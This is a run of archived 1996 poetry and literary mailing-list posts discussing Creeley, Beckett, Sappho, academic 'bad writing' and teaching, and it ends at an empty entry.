---------- Forwarded message ----------
Date: Tue, 7 May 1996 17:51:01 EDT
From: Leo Goldberger <[redacted]>
To: Multiple recipients of list PSYART <[redacted]>

Another reply to John Knapp. May I point out that the word "constructivist" is, I think, being used in two ways? John is using it to summarize the position often heard in litry circles these days, that we are "constructed" by our culture. Leo Goldberger is pointing to its psychological usage, which he explains. --Best, Norm ----------Original message---------- But are there, indeed, folks out there who assert or believe that the constructivist perspective is sufficient onto itself?

There is, after all, the realm of "facticity" (including the biological
as well as the geographical) which, at least, must
serve as a starting point for any interpretive "construction".

At issue is meaning making: what we as cultural creatures "make" out of a given set of facts, within a given set of contexts-- be the facts "temperament", "height", or an earthquaque.

This discussion reminds me a bit of the old debate in academic psychology between the traditional "pure perception" theorists vs. the "new look" writers on perception. The latter researchers had discovered that needs and motives can influence even the most elementary aspects of perception, including size judgment, thus casting some doubt on the "veridical" "autochtonous" factors of the pure perceptionist. For example a hungry subject was more inclined to overestimate the size of a dime than a sated subject. Of courses the kicker in all of this was that the variation around the actual (factual) size as measured by a standardized ruler was quite limnited. There was a range of invariance, in other words, within which subjective, interpretive factors held sway (not large enough to really create problems with the notion of "reality contact".

On Mon, 6 May 1996, knapp
john v wrote:

> *John Knapp with a useful admonition--we psac types should be considering genetic studies among other psychologies relative to our shenanigans.*
> *--Best, Norm*
> *----------Original message----------*
>
> *For some of you who may be interested in psychologies other than Psychoanalytic, you may wish to read another book that discusses identities and the concepts of self indirectly by looking at genetics and temperament from the point of view of experimental psychology. The book is Jerome Kagan's *Galen's Prophecy* (New York: Basicbooks, 1994), a summary of his investigations over the last decade or so. Much of what he discusses makes clear to any open-minded reader that constructivist coecepts of the self, like so many other fads in humanistic study, is merely one way and only one way of looking at such complicated creatures as ourselves. Like it or not, some of us are born with temperamental qualities that are not "constructed" but innate. Their expression may be varied somewhat by the environment (society), but only to a point. Commonsensically, those of us who inherit the genes to help make us 5' 9" as adults are probably NOT going to become NBA stars who average, say, 6' 6''no matter how much we want to blame the problem on "social construction."*
>
> *I strongly recommend looking at the work of Kagan and his associates. It could be useful for psycho-analytic oriented literary critics to begin looking more closely at human genetics and work in experimental psychology as readily and as easily as they do "constructivism."*
>
> *Cheers,*
>
> *JVK*
>
> **********
> *John V. Knapp *
> *330 Reavis Hall, Dept. of *
> *English; *
> *Northern Illinois University, **
> *Dekalb 60115 *
> [redacted] *
> [redacted] *
> **********

↑ Index

130. George Bowering

Re: the sound of Creeley

Wed 8 May 1996

> *George, when you wrote:*

>>In the court-
>>yard at midnight, at
>>
>>midnight. The moon is
>>locked in itself, to
>>
>>a man a
>>familiar thing.
>>
>>, without singing it, singing it.
>
>I did a double take, having just this morning sent off a review of some Bill
>Manhire books that quoted this poem as an example of Creeley's influence. Near
>the beginning of the review I wrote this re Manhire's "singing":
>
>----------
>
>The iconography of song has always been important in Manhire's poetry, and it
>is surprising that this has been little mentioned until recently. The titles of
>both Sheet Music and My Sunshine, and the guitar on the cover of
>the latter, make this connection explicit, and songs appear throughout My
>Sunshine, particularly in its third section.
>
--etc
>Tom Beard.

That is amazing but not surprising, eh? Only time I met Bill Manhire was when my friend Tony Bellette took me to meet him for lunch somewhere upstairs in Wellington. Bill wasnt singing. He wasnt talking, either. It was explained to me that he often sits silently. I like his poetry fairly well, though, and was glad to meet him. At the time I was trying to get over hearing an hour of Sam Hunt performing his verses.

"Toujours est-il que je redoute le signal de l'horrible petite trompette."
-- Cocteau

George Bowering.
2499 West 37th Ave.,
Vancouver, B.C.,
Canada V6M 1P4

fax: [redacted]
e-mail: [redacted]

↑ Index

131. Walter K. Lew
Re: query re: the queering of Sapphics
Wed 8 May 1996

Aldon Nielsen asked re: Sappho quotation at beginning of Theresa Hak Kyung Cha's DICTEE:
>But did you ever try to look up that passage from "Sappho" >that leads off >_Dictee_; Nothing in this book should be taken at "face" value

ALDON, read what I said in the very next sentence of my message!! that "On the other hand ... the Sappho quotation is faked". Back in 1991, I spent days trying to track down a Sappho fragment that might even begin to resemble the "quotation" and couldn't find anything. Maybe someone out there with good classical training will have better luck...please inform us when you do. The lines in the DICTEE epigraph are: "May I write words more naked than flesh, stronger than bone, more resilient than sinew, sensitive than nerve."

NOTE: Prof. Shelley Sunn Wong in her essay on DICTEE thanks a Cornell U. sophomore for informing her that the Sappho epigraph is apocryphal. That student had been in the Asian American literature course I taught as a visiting lecturer at Cornell the year before, didn't know Sappho from Harpo, and got the information from one of my lectures. Maybe it was just a statement made to Shelley with no intention of brown-nosing appropriation, but MAYBE it is related to the fact that when I returned to campus the next year for a visit she didn't return my greeting when I saw her by coincidence as she passed me on a stairway. "Oh," I added earnestly and in haste (there was quite a crowd of students going by), "I began to write a letter back [to the friendly letter she'd sent me during summer vacation], but I never got around to finishing and sending it off!" "Yeah, SURE!" she crackled and just went down to the next floor. Jeez, I really had meant to finish it...

↑ Index

132. Chris Stroffolino
Re: USOP
Wed 8 May 1996

Bob H.---I did see the first three USOP shows. I tended to like the second and third ones better than the first. Perhaps this is because I became used to the format by the second show, but also that there was more of the urban poetry of protest in the second and third segments and seemed to be less of the country stuff (Okay, I must acknowledge my subjective biases here). I kept thinking "wow, what is going on in the minds of the country folk when they hear these city folk" because the "value systems" are so different, but then I shouldn't be a city snob (especially considering I haven't lived in a city now for 4 years). Anyway, no point repeating the critiques of lack of variety others have made. I did watch it with two ex-students of mine and they dug it (though not as much as POETRY IN MOTION) I wish there would have been more of LORD BUCKLEY. My students really liked Matt Cook. Leonard Cohen was a surprise, as was Thylias Moss (i would have expected less of a slammy type voice from her). John Wright's Bob_Newhart deadpan delivery was interesting. The money channel graphics were interesting. "tumbling like love through a rich man's fingers" "i'm stubborn as the garbage bags time cannot decay".... PINA's poem which said the opposite in english of what it said in spanish too. Jim Northrop's thing about the shrink commiting suicide... even Dennis Cooper---"SO BORED THEY BEG TO BE BEATEN" and the poem about the IT'S SO HOT TODAY, and the two poems about wanting to wake up at what tom waits would call "the crack of noon"....I didn't much care for the poet who wrote about stealing her sister's fattening food though..... Looking forward to parts 4 and 5. Chris S.

↑ Index

133. Charles Smith
Re: special sales from Sun & Moon Press
Wed 8 May 1996

I'll take a 'damaged' copy of _Other Side_ for $5.00, along with issues 2 & 3 or Ribot for $4.00 each. Thanx!

Ship & bill to:

Charles Smith
2135 Irvin Way
Sacramento, CA 95822

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134. mikl-em

a sighter lide of a terious sopic

Wed 8 May 1996

---

there is a poetic in the prosaic but it is not here...

>From daemon Mon May 6 05:36:33 1996
Date: Mon, 6 May 1996 08:26:02 -0400
<[redacted]>
<[redacted]>
From: "David Erben (Art)" <[redacted]>
Subject: Contest winners (fwd)
To: Multiple recipients of list DERRIDA <[redacted]>

From: Denis Dutton <[redacted]>
To: [redacted]
Subject: Contest winners

The PHIL-LIT/_Philosophy and Literature_ Bad Writing Contest: Results for round two.

The entries for the second run of the Bad Writing Contest have now been tabulated, and we are pleased to announce winners. But first a few tedious words. There is no question that we have better--if that's how to put it--entries than the last time we ran the contest. Some of the entries are stunning, and we think almost all of them deserve a prize of some sort.

This is not to say that much of the writing we would consider "bad" is necessarily incompetent. Graduate students and young scholars please note: many of the writers represented have worked years to attain their styles and they have been rewarded with publication in books and journal articles. In fact, if they weren't published, we wouldn't have them for our contest. That these passages constitute bad writing is merely our opinion; it is arguable that for anyone wanting to pursue an academic career should assiduously imitate such styles as are represented here. These are you role models.

First prize goes to David Spurrett of the University of Natal in South Africa. He found this marvelous sentence--yes, it's but one sentence--from Roy Bhaskar's _Plato etc: The Problems of Philosophy and Their Resolution_ (Verso, 1994): "Indeed dialectical critical realism may be seen under the aspect of Foucauldian strategic reversal--of the unholy trinity of Parmenidean/Platonic/Aristotelean provenance; of the Cartesian-Lockean-Humean-Kantian paradigm, of foundationalisms (in practice, fideistic foundationalisms) and irrationalisms (in practice, capricious exercises of the will-to-power or some other ideologically and/or psycho-somatically buried source) new and old alike; of the primordial failing of western philosophy, ontological monovalence, and its close ally, the

epistemic fallacy with its ontic dual; of the analytic problematic laid down by Plato, which Hegel served only to replicate in his actualist monovalent analytic reinstatement in transfigurative reconciling dialectical connection, while in his hubristic claims for absolute idealism he inaugurated the Comtean, Kierkegaardian and Nietzschean eclipses of reason, replicating the fundaments of positivism through its transmutation route to the superidealism of a Baudrillard." It's a splendid bit of prose and I'm certain many of us will now attempt to read it aloud without taking a breath. The jacket blurb, incidentally, informs us that this is the author's "most accessible book to date."

Second Prize is won by Jennifer Harris of the University of Toronto. She found a grand sentence in an essay by Stephen T. Tyman called "Ricoeur and the Problem of Evil," in _The Philosophy of Paul Ricoeur_, edited, it says, by Lewis Edwin Hahn (Open Court, 1995): "With the last gasp of Romanticism, the quelling of its florid uprising against the vapid formalism of one strain of the Enlightenment, the dimming of its yearning for the imagined grandeur of the archaic, and the dashing of its too sanguine hopes for a revitalized, fulfilled humanity, the horror of its more lasting, more Gothic legacy has settled in, distributed and diffused enough, to be sure, that lugubriousness is recognizable only as languor, or as a certain sardonic laconicism disguising itself in a new sanctification of the destructive instincts, a new genius for displacing cultural reifications in the interminable shell game of the analysis of the human psyche, where nothing remains sacred." Speaking of shell games, see if you can figure out the subject of that sentence.

Third prize was such a problem that we decided to award more than one. Exactly what the prizes will be is uncertain (the first three prizes were to be books), but something nice will be found. (Perhaps: third prize, an old copy of _Glyph_; fourth prize two old copies of _Glyph_.)

Jack Kolb of UCLA found this sentence in Paul Fry's _A Defense of Poetry_ (Stanford University Press, 1995). Together with the previous winners, it proves that 1995 was to bad prose what 1685 was to good music. Fry writes, "It is the moment of non-construction, disclosing the absentation of actuality from the concept in part through its invitation to emphasize, in reading, the helplessness--rather than the will to power--of its fall into conceptuality." Incidentally, Kolb is reviewing Fry's book for _Philosophy and Literature_, and believe it or not he generally respects it.

Arthur J. Weitzman of Northeastern University has noted for us two helpful sentences from _The Johns Hopkins Guide to Literary Theory and Criticism_, edited by Michael Groden and Martin Kreiswirth (JHUP, 1994). It is from Donald E. Pease's entry on Harold Bloom: "Previous exercises in influence study depended upon a topographical model of reallocatable poetic images, distributed more or

less equally within 'canonical' poems, each part of which expressively totalized the entelechy of the entire tradition. But Bloom now understood this cognitive map of interchangeable organic wholes to be criticism's repression of poetry's will to overcome time's anteriority." What can we add to that?

William Dolphin of San Francisco State University located for us this elegant sentence in John Guillory's _Cultural Capital: The Problem of Literary Canon Formation_ (University of Chicago Press, 1993): "A politics presuming the ontological indifference of all minority social identities as defining oppressed or dominated groups, a politics in which differences are sublimated in the constitution of a minority identity (the identity politics which is increasingly being questioned within feminism itself) can recover the differences between social identities only on the basis of common and therefore commensurable experiences of marginalization, which experiences in turn yield a political practice that consists largely of _affirming_ the identities specific to those experiences."

And speaking of marginalization, where, you may ask, are women in this? Aren't we being exclusionary? Indeed, it's frankly unfair that men should have all the fun, but the gallant Canadian David Savory found this lucid sentence in the essay "Tonya's Bad Boot," in _Women on Ice_, edited by Cynthia Baughman: "This melodrama parsed the transgressive hybridity of un-narrativized representative bodies back into recognizable heterovisual codes."

Thanks to these and all the other entrants. If you didn't this time, the next round of the Bad Writing Contest, prizes to be announced, is now open with a deadline of September 30, 1996. So you've plenty of time to find examples from the turgid new world of academic prose. Details of the new contest will appear on PHIL-LIT. Winners of this contest, watch for your prizes in the mail.

Thanks to all.

Denis Dutton
Editor
Philosophy and Literature
[redacted]

David G. Myers
Moderator
PHIL-LIT
[redacted]

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135. William Northcutt
George Bowering's Garden Graffffffittttii
Wed 8 May 1996

George B. rules!!!

↑ Index

136. Henry Gould
Re: creeley quote
Wed 8 May 1996

I wonder if anything has been done relating philosopher CS Peirce & poetry. There's the semiotics, but I don't think Peirce himself wrote much about aesthetics per se. I think his trichotomy theory - "First, Second & Thirdness" - was meant in part to be an advance and revision on the "form/matter" distinctions of scholasticism, of which these mantras in US poetics about form/content are like an echo. It would be interesting to see an application of the trichotomy (feeling, actuality and law is a rough reduction) to poetry. Also, maybe a dose of Peirce's medieval/scientific realism (very roughly, "universals and general ideas are REAL and affect life from the FUTURE although they don't have ACTUALITY yet they can be experimentally TESTED and be PREDICTIVE") might throw a wrench in the pervasive (what he might call) "nominalism" of the age (i.e. reality is a phantom of human naming-systems predicated on the non-identity of the self and technologies of power & desire). A consequence of Peirce's scientific approach is that what-we-don't-know and what-we-don't-name is nevertheless REAL - there is a real un-named out-there which corresponds, in a way, to silence. Silence frames things and makes it possible to talk about actualities (i.e. for example poems as entities, gestalts, something to be considered in-itself). Sounds kinda new critical doesn't it? Better put on my boxer shorts & get ready for body language... - Henry Gould ---------- Original message---------- A poem is never more than the gap between its form and its content.

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137. Tod Thilleman
Re: scanning sag
Wed 8 May 1996

Peter; re performance and the state of sag poets seem to bring to it, if I understand you correctly, it is something, to me, akin to, say, actually reading Prometheus Unbound by Shelley and not just scanning it.

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138. **Jordan Davis**
Re: Jordan
Wed 8 May 1996

I think the book in question is in print from Routledge Press, with a title something like _June Jordan's Poetry for the People_. My understanding is she's more the subject of the book than the author or editor.--Jorahem

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139. **Maria Damon**
Re: sappho and cha at cornell
Wed 8 May 1996

hi walter, couldn't help but be amused by your anecdote abt seeing a sophomore thanked for your idea in a colleague's paper. as a prof i've often observed, and had the experience myself as a student back when, that students don't realize that what they're learning is someone's intellectual property that's being shared. they think they're learning facts that are common knowledge once they've learned them. i've had students who've complained of not learning anything in my class quote my lectures word for word in their own papers, unattributed of course, because they don't remember/realize that these were my ideas and sentences --to them, these insights are part of their intellectual environment and free for the taking and reproducing. it's curious. sometimes, also, i want students to credit each other in their papers, when they use th einsights from someone else's class presentation, for example, only to be faced with their objection that this "was not (that other student's) idea; this is something that emerged in class discussion" and hence common property. in general, that's just the way it is, i guess. in college i used to think that the relationship between language and desire was my pet thing; i was piqued to find out kristeva had written a whole book about it! of course, i was imbibing the critical concerns of my era, my teachers, etc, who were reading kristeva! interesting, isnt it, the concept of intellectual property and proper credit. interesting and a bit embarrassing, to be forced to be so proprietary about thoughts, which we also know are shared and communally constructed/generated. bests, maria d

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140. Herb Levy
Mandatory anouncement
Wed 8 May 1996

As required by the welcome message of this here e-mail discussion list & general custom, I must let you know that the book and CD-ROM version of Microsoft's Internet Directory 96 is now out.

I worked on about 5% of it (a little less than 200 reviews out of about 4,000). Some of these are obvious (most of the music section), some are not (consumer information & agriculture/gardening). All the reviews (not just mine) reflect problems of writing too quickly & corporate copy editing, so don't go looking for too much intentional poetry here. Still, in the cursory glance I've given it (I haven't received my copy yet, 'cause the Mac CD-ROM version isn't ready yet) it seems as if it's at least as good as most of the other print directories I've seen. I mean, the URLs seem to have been proofread & some of them are interesting.

There'll be a web site with updates & new listings. When stuff gets up there (& the search engine works) I'll post the URL.

For the updates I'm doing a wider range of topics, most arts, though NOT literature, so if you have web sites they'd like to suggest I'd love to see them. I can't guarantee (despite the obvious idiosyncracies of the music section, a special case that I won't go into here) that they'll get into the next book, but I'd love any suggestions you have on visual and/or performing arts websites, e-mail lists, newsgroups, etc. Back channel is probably best for these suggestions.

Unlike most such messages to the list, I offer no cheap deals on the book. I'm not sure I'd even recommend it to most of you. It is part of the Microsoft Bookshelf 96-97 package, though, so if you or your office/institution buy that, you'll have it anyway. Hoo-hah.

Bests

Herb Levy
[redacted]

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141. Herb Levy
Mandatory addendum
Wed 8 May 1996

Oh, yeah. As I said, I didn't write the literary sections of the Microsoft Internet guide.

So don't blame me for the reviews of EPC or POETICS-LIST in the Microsoft book, which includes and then tells how to sign up to receive Rif/t as if this'll get you onto POETICS. (Hasn't this happened before a few times?)

I'll send a message to the editor (& the reviewer) that the list is closed & shouldn't be reviewed anyway & that what is in the book is incorrect.

Though, judging from what just came over the net from Mr Sherwood re: E-POETRY-L, maybe I shouldn't bother.

Besides, anyone digging around the POETICS-L archive at EPC (besides seeing all of our deathless prose, stupid jokes, & rare poetry) could find out how

- H

Herb Levy
[redacted]

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142. Daniel Bouchard
solicitation
Wed 8 May 1996

I'm looking for work for a magazine I'm starting up. It's called MASS AVE. The first issue will be editorially grounded in "the city." Take that any way you choose.

Send poems, reviews, poems, critiques, poems, short essays, poems, correspondence, poems, artwork, poems, rejected doctoral theses, poems, impressionistic prose of your particular city, neighborhood, street and or zip code, poems, manifestoes, poems, big checks made out to me, and poems.

Send all these things and a spirit of camaraderie to:

MASS AVE
Daniel Bouchard
210 Winthrop Road
#6
Brookline, MA 02146

Give this memo to anyone who may be interested. Enclose SASE if you want your work back. Contributors will be paid in copies. E-mail submissions acceptable but not preferred.

[redacted]

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143. k.a. hehir
this is just to say
Wed 8 May 1996

thank you to all who gave me directions Re:blocking pomes. since the sun refuses to shine here i haven't minded mining the library at school rather than goofing off like any good student does for the summer.

Walter Lew pointed out Fred Wah after i threw fish and words into the same kettle. WOW. he is my new favorite orange. i'm embarrassed that i had never read him before. not only am i stuck between the culture of my parent's and our new country but i also grew up in saskatchewan.

the most challenging and fun anthology of concrete poetry i have come across so far is 'the cosmic chef' edited by bpNichol (Oberon Press,1970).nice to know that some of those cats are active on this list.

before i go and fix the hole where the air gets out of the back tire of my a-to-b cycle, i'd like to leave you with what got me to thinkin' bout page as canvas and stuff.

TRUDGE THEM ALWAYS IS
A
  REPULSIVE
A MEAN
  DELICATE VISION
OF BLACK
  SWEET DEATH
    PINK
      GARDEN

cheers,
kevin

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144. Loss Glazier
Mackey Interview
Wed 8 May 1996

There's a splendid interview of Nathaniel Mackey made available to us online through the generosity of Chris Funkhouser. It's really terrific and is available at the Electronic Poetry Center at Funkhouser's or Mackey's author home page. This moment, it is also the EPC "Feature" selection. Click on the "Feature" image on the NEW EPC entrance way and you'll go right to the interview. Also at the EPC entrance, "Hotlist" contains some recent new additions, including the

great Witz 3.2 with Mark Wallace's essay "The Lyric as Experimental Possibility". Get it while it's good at the EPC: http://writing.upenn.edu/epc

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145. Matthew Gary Kirschenbaum
NEW: electronic thesis/diss site
Wed 8 May 1996

Not poetics, not strictly, but I hope this will be of interest to some here. Apologies if not. Thanks, --Matt

> *This is to announce a new web site I have developed for on-line references and resources related to electronic masters theses and doctoral dissertations (ETDs) in the humanities, including a directory of such work currently in progress:*
>
> *http://osi.lib.virginia.edu/ediss/ediss.html*
>
> *If you are a graduate student now at work on an ETD, please stop by and fill out a short form describing your project (available off of the "currently in progress" page). The information you provide will be added to the site's on-line ETD directory, which I hope will serve as a resource for other graduate students who are in the process of seeking approval for such work.*
>
> *I'd also like to hear from anyone who might have other suggestions as to the content or potential uses of this site. I envision it as a sort of clearing-house for ETD materials, including pointers to on-line initiatives and guidelines, publications, services, archived mailing-list discussions, and other relevant humanities computing materials. Some of the pages are stretched a bit thin, as ETDs have not attracted as much attention as other forms of scholarly electronic publishing; if you know of any ETD resources that I have not included, please tell me about them; also, please check back from time to time as the site expands.*
>
> *Potential audiences include not only graduate students but also faculty who want to make informed decisions about supervising an ETD, as well as librarians, administrators, and publishers. I have tentative plans to innaugerate a mailing list devoted to this topic as well.*
>
> *Please forward this announcement as seems appropriate, and please excuse cross-postings.*

> *Special thanks to the University of Virginia Library's On-Line Scholarship Initiative and Special Collections Deptartment for providing server space. Comments should be sent to me at the address below.*
>
> *==========*
> *Matthew G. Kirschenbaum University of Virginia*
> *[redacted] Department of English*
> *http://faraday.clas.virginia.edu/~mgk3k Electronic Text Center*

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146. Schuchat
Re: sappho and cha at cornell
Wed 8 May 1996

maria, I was interested in your observation that students tend to consider what they are taught as common property, generally accepted facts, rather than an individual professor's intellectual property. when I was a student I very definitely thought that what my professors were telling me was their own opinion, not necessarily fact and certainly not what another professor of the same subject would tell me. In fact, I remember the moment (in a graduate seminar, so it took quite a while for me to reach this point) when I realized that what they guy was saying was probably not just his opinion, but the way it really was, or rather the way that anyone who knew anything about the subject agreed that it was.

whether this attitude was personal (those who know me personally can say) or more characteristic of the early 70s, I know I was very resistant to the idea that my teachers, simply by virtue of being teachers, had any privileged access to truth. if I was impressed by them, as individuals, I tended to take what they said more seriously. this attitude probably limited somewhat the benefit I could have derived from my extensive education, and is no doubt one reason I eventually did leave academics. however, since I did later later come to think of it as an adolescent attitude, I am surprised to hear that it is not close to universal among college students.

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147. Loss Glazier
New EPC Home Page
Wed 8 May 1996

I wanted also to elaborate on the *New* EPC home page. As presently constituted, it contains five images, three large and two small. The three large

images, if clicked, lead to "Hotlist" (recently added and recommended slots in the EPC), "Feature" (a direct connection to a truly hot new EPC resource), the EPC banner (leads to our full home page), a tiny box which reads "Net" (leads to a recommended outside link - at present to the remarkable Net space of the Swedish performance poetry group, Skin to Skin "...Skin to Skin work with the new underground expressions which are growing stronger throughout Europe - a mixture of tribal rites, science fiction, performance and 'no borders' multimedia...raw, simple and uncensored... ...this is good: tight, concentrated, merciless shock at a hard pulsing tempo... _Arbetet_"), and a Linebreak logo, for some truly incredible poetry performances/interviews housed at the EPC. "Feature" and "Net" will be changed often, offering you some quality stuff.

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148. George Bowering

Re: beckett

Wed 8 May 1996

> *Dear George Bowering---*
> *tell me more about BECKETT, please! (cs)*

The festival was hosted by the University of Victoria Theatre Dept., which is one of the best theatre departments in the country, so the papers that were delivered were all about the plays, often about the production of them. There was one paper on _Malloy_, but I missed it because i was at another session of three papers on Billie Whitelaw, and I love Billie Whitelaw. I cant remember any of the papers I was thrilled by. Apparently the Fred Neumann address given the night before the festival got really going was really good. In fact, there was an earthquake (5.3 on the Richter, epicentre in Sedro Wooley, Wash.) in the middle of it. Contorski's keynote address (one hr.) was friendly and engaging and scholarly, and he had a Sam Beckett haircut and trousers too short, a weird homage. There were a lot of Beckett scholars there from Florida, others from the souteast, as well as places like Kansas and Montreal and South Dakota.

But the productions (good lord, so many of them) were a lot more interesting. There were a few clunkers, but mostly pretty good stuff, and sometimes 2 productions of the same play. I was disappointed that no one did _Ohio Impromptu_. There was a company that offered it, but they didnt make the final cut as far as the selection people went. So.

Every morning there was a room in which the radio plays were broadcast, and a room in which the videos were shown. After waiting all these years I finally saw "Film" and it is still wonderful. It provided one of the instances in which you notice emblems passing from item to item. For instance, Buster Keaton's handkerchief under his trademark porkpie hat shoes up again on Willie in _Happy Days_

as handkerchief under straw boater. The first plays on stage (there were two theatres, the regular stage and the proscenium stage) were done by the Goetheanum-Buhne Players of Switzerland, the people from the Rudolf Steiner institute. They did _Not I_ in German, which is interesting, as Mouth sounds more forceful, less frantic in that language. Their "Footfalls" looked beautiful, the woman in real Beckett rags with her one arm out in front of her, palm up. Their "Catastrophe" was excellent, buit it is not a hard play to do, except for the victim's posture. They did "Play" and did it well, though as you can imagine, the speed kept you from picking up the fast talk with a slight German accent. The person doing the light was actually almost a character. You could see her operating.

That night the troupe from SUNY New Paltz did "Quad I and II", really fast, with beautiful shiny cloaks and cowls, in red and white and blue and gold, except at the end, when they were all white. Fast and with good music. I loved it, having sat back in the last row. Then in the proscenium theatre the Pantechnicon Theatre from Pomona did "Footfalls". This was pretty bad, with a too-young woman doing it, her steps noty always 9 paces, etc. And she was wearing her wedding ring! Then their guy did "Piece of Monologue" pretty well. Then their older woman did "Not I"--her speech was perfectly clear and theatrically adept, but she chose to do it slowly, which might be pleasant but isnt Beckett.

Next afternoon. Fred Neumann did his adaptation of "Worstward Ho." He is in a grave with a skeleton and all; now Beckett gave him this, and no one else has the nerve to do it. It was terrific. for me the highlight of the festival, though I was knocked out by the new Palts "Quad." Then pone had to make a choice between "Catastrophe" done by the University of british Columbia players plus "Krapp's Last Tape" done by University of Victoria---or Happy Days done by Colorado State Univ. I went to the latter because I hadnt seen it for so long. It was pretty good, cant remember the actors' names. Then an hour later I saw "Krapp's Last Tape" played by a woman who represented Dickinson College and the Jean Cocteau Rep. from NY. She is the daughter of the guy who did it an hour earlier. She played it as a man, whole script, etc., but the voice on tape was a woman's. Interesting genderbending. Sam wouldnt have approved. Semiotically puzzling, but let us say, effective. I wasnt pissed off purist Beckettian. I dug it. And now my body and brain were calling out for endless beckett. So two hours for dinner, and then we saw university of Victoria do "Act Without Words II" pretty well, and then the Pantechnicon people again. Now thwir guy does a stage adaptation of "Company," an 80-minute monolgue (some on tape), and it was a bravura perfgormance, very touching. Then the woman did "Rockabye", and that was pretty good too. This company works with a modular adjustable set that they bring on a truck on tour, all hinges and stuff. It works.

Next day, Sunday. The famous Neptune Theatre from Halifax, and their young comedy troupe called Jest in Time, do a set on the reg. stage. They are, I think, all gay, three women and one man. They do "Play" creditably, nice and fast. Makeup isnt as interesting as the Swiss one. They do "Come and Go." They do "Rough for Theatre I" cross-dressed, and funny. They do "Quad", a short pre-German one, in brown and with thinner music and with three short people and one tall; it just didnt look or sound anywhere as good as the SUNY one. They do a well-timed "What Where" and I at last understand the mathematics and geometrics, having only "read" it. They they do "Nacht und Traume," which I have never seen, and it is a hurt, so beautiful; so close to Beckettian sentimentality, so well lit, a real theatre moment. Words fail me.

I head for the bathroom. I cant go on. I went on.

To the other theatre, where the festival was ended with a production of "Breath", also done by the Jean Cocteau Rep. People fell out. Folks applauded a stage with no one on it.

On the way home to Vancouver I contemplated jumping off the ferry. But I fell asleep, right beside the kids' play room.

You should have been there. You wdnt haVE HAD TO GET by with my subjective words.

Federman shd have been there.

.....
"Toujours est-il que je redoute le signal de l'horrible petite trompette."
-- Cocteau

George Bowering.
2499 West 37th Ave.,
Vancouver, B.C.,
Canada V6M 1P4

fax: [redacted]
e-mail: [redacted]

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149. **Walter K. Lew**
Billy Whitelaw!
Thu 9 May 1996

Dear George Bowering, What a summary! I am crazy about Billy Whitelaw, too. Saw her most recently in a TV broadcast of _Charlie Bubbles_ (Liza Minelli's cinematic debut--Who played the writer? Do you know?) I am not that familiar w Whitelaw's career, however, can you point me to more information?

Is there a British book about her? What did the papers about her work discuss? What is she doing now? Is there a Whitelaw fanzine? I'm sure you're beginning to regret mentioning you went to the conference--just telegraph your observations. Much appreciated,

Walter K. Lew
8 Old Colony Rd.
Old Saybrook, CT 06475
[redacted] (ph/fax)
[redacted]

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150. George Bowering

Re: Billy Whitelaw!

Thu 9 May 1996

> *Dear George Bowering,*
> *What a summary! I am crazy about Billy Whitelaw, too. Saw her most recently in a TV broadcast of _Charlie Bubbles_ (Liza Minelli's cinematic debut--Who played the writer? Do you know?) I am not that familiar w Whitelaw's career, however, can you point me to more information? Is there a British book about her? What did the papers about her work discuss? What is she doing now? Is there a Whitelaw fanzine? I'm sure you're beginning to regret mentioning you went to the conference--just telegraph your observations. Much appreciated,*
>
> *Walter K. Lew*
> *8 Old Colony Rd.*
> *Old Saybrook, CT 06475*
> *[redacted] (ph/fax)*
> *[redacted]*

Well, the papers on Whitelaw were pretty well noncritical, ranging from gossipy to comparative.

But you are in luck. In 1995 her autobiography was published. It is called _Billie Whitelaw" Who He?_

She shows up in movies from time to time, usually things that are deemed not international enough to be seen over here. But there is a kind of filmography in the autobiography.

I'll give you the addresses of the three people who did papers:

Dr. Stephen Dilks, University of North Dakota (I think). He is an Englishman.

Dr. Malcolm Page, English Dept., Simon Fraser University, Burnaby, B.C., V5A 1S6, Canada. (He writes a lot about modern English drama, but not very critically)

Dr. Eric Prince. He is a director but I dont know his Univ. affiliation. He was listed as from Scarborough, England.

.....
"Toujours est-il que je redoute le signal de l'horrible petite trompette."
-- Cocteau

George Bowering.
2499 West 37th Ave.,
Vancouver, B.C.,
Canada V6M 1P4

fax: [redacted]
e-mail: [redacted]

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151. David Carl

Re: POETICS Digest - 6 May 1996 to 7 May 1996

Thu 9 May 1996

I know (from lurking) that people on the list are generally (understandably) hesitant to play the "define a movement" game, but I heard someone recently define language poetry as "that school of poetics which most consciously and critically engages language as ideology." While this struck me as somewhat reductive, I had a hard time formulating a response to highlight the short-comings of the definition, and thought I might throw it out here for people to bat around.

[redacted]

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152. Chris Stroffolino

Re: POETICS Digest - 6 May 1996 to 7 May 1996

Thu 9 May 1996

Dear david carll-- well, one response to that reductive definition (is there any other kind of definition?) might be that it essentializes language..... but then this opens up the whole "use value" question I think Larry Price, Tenney Nathanson and Pat Philips bounced back and forth around november '95 on this list.....cs

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153. **Chris Stroffolino**
Re: beckett
Thu 9 May 1996

Dear george Bowering, thanks for "nothing"---cs

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154. **Maria Damon**
Re: sappho and cha at cornell
Thu 9 May 1996

schuchat: times have changed. or maybe this is a minnesota thing again. the thing that makes me terrifically uncomfortable about teaching is precisely being regarded as an "authority." being a 70s person myself, i like the idea of sitting around talking w/ students. but most of my students now (mostly u-grads, i admit) seem to want to be told things. if they come away with a lot of notes, they think the teacher "knows his/her stuff." a former student, now a friend, who teaches at a private college in mn, and who also believes in discussion-oriented classes, says she's gotten anonymous hate mail from students saying stuff like, "we pay you to teach, so teach." also at my institution there is a terrible gender problem as well; a female professor will be resented for being an authority; a male deferred to --his authority is seen as normative i.e. invisible. but it is extremely stressful for me to be in a "leadership" role in any official capacity, in front of people for whom i am to some extent responsible. i feel much more comfortable among peers, or as a student myself. bests, maria d

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155. **Aldon L. Nielsen**
Re: bobbobbobbob
Thu 9 May 1996

If you believe that more "expansive" poetry is not about anything (and later you can tell me why you believe that), then why do you agree with me that future editions should be more expansive? Are you adopting a poetics of anti-aboutness??

Did ya by any chance see that John Barth essay of some years ago titled "About Aboutness"?

Just how does something made out of language go about not be about anything???? (which, as in painting, I would expect is considerably a different matter from being non-representational) ["go about not be]?? my keboard writes poems to me --

↑ Index

156. Aldon L. Nielsen
Re: Sappho and Man at Yale
Thu 9 May 1996

Walter -- The second line was what I wondered about -- that is, I was wondering if anybody else had tried to find the Sappho, because I'm not sure how we know it's "faked" -- Any classics people out there who can tell us fer sure??? I've been taking your former student's word, which I now learn is your word, for this, and see no reason not to continue, but it sure wd. be reassuring if there were absolute evidence that Cha wrote it herself, or that it is not an "adaptation" of some sort -- As the poet said, "I have not the Greek," so all I've done is thumb thru translations -- not the best way to achieve certainty on such a count -- but I always was no account --

Down in New Orleans we always await the second line --

↑ Index

157. Sheila E. Murphy
